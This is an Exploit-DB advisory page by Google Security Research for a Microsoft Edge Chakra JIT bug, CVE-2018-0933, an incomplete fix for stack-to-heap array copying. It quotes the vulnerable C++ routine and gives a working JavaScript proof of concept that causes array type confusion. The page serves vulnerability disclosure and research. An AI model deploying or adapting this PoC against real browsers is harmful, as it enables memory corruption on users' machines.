Microsoft Edge Chakra JIT - Stack-to-Heap Copy (Incomplete Fix)

EDB-ID: 44396
Author: Google Security Research
Published: 2018-04-03
CVE: CVE-2018-0933...
Type: Dos
Platform: Windows
Aliases: N/A
Advisory/Source: Link
Tags: N/A
Vulnerable App: N/A

 Here's a snippet of JavascriptArray::BoxStackInstance. To fix  issue 1420 , "deepCopy" was introduced. But it only deep-copies the array when "instance->head" is on the stack. So simply by adding a single line of code that allocates "head" to the heap, we can bypass the fix. 

template <typename T>
T * JavascriptArray::BoxStackInstance(T * instance, bool deepCopy)
{
Assert(ThreadContext::IsOnStack(instance));
// On the stack, the we reserved a pointer before the object as to store the boxed value
T ** boxedInstanceRef = ((T **)instance) - 1;
T * boxedInstance = *boxedInstanceRef;
if (boxedInstance)
{
return boxedInstance;
}

const size_t inlineSlotsSize = instance->GetTypeHandler()->GetInlineSlotsSize();
if (ThreadContext::IsOnStack(instance->head))
{
boxedInstance = RecyclerNewPlusZ(instance->GetRecycler(),
inlineSlotsSize + sizeof(Js::SparseArraySegmentBase) + instance->head->size * sizeof(typename T::TElement),
T, instance, true, deepCopy);
}
else if(inlineSlotsSize)
{
boxedInstance = RecyclerNewPlusZ(instance->GetRecycler(), inlineSlotsSize, T, instance, false, false);
}
else
{
boxedInstance = RecyclerNew(instance->GetRecycler(), T, instance, false, false);
}

*boxedInstanceRef = boxedInstance;
return boxedInstance;
}

PoC:
*/

function inlinee() {
return inlinee.arguments[0];
}

function opt(convert_to_var_array) {
/*
To make the in-place type conversion happen, it requires to segment.
*/

let stack_arr = [];

// Allocate stack_ar->head to the heap
stack_arr[20] = 1.1;

stack_arr[10000] = 1.1;
stack_arr[20000] = 2.2;

let heap_arr = inlinee(stack_arr);
convert_to_var_array(heap_arr);

stack_arr[10000] = 2.3023e-320;

return heap_arr[10000];
}

function main() {
for (let i = 0; i < 10000; i++)
opt(new Function('')); // Prevents to be inlined

print(opt(heap_arr => {
heap_arr[10000] = {}; // ConvertToVarArray
}));
}

main();

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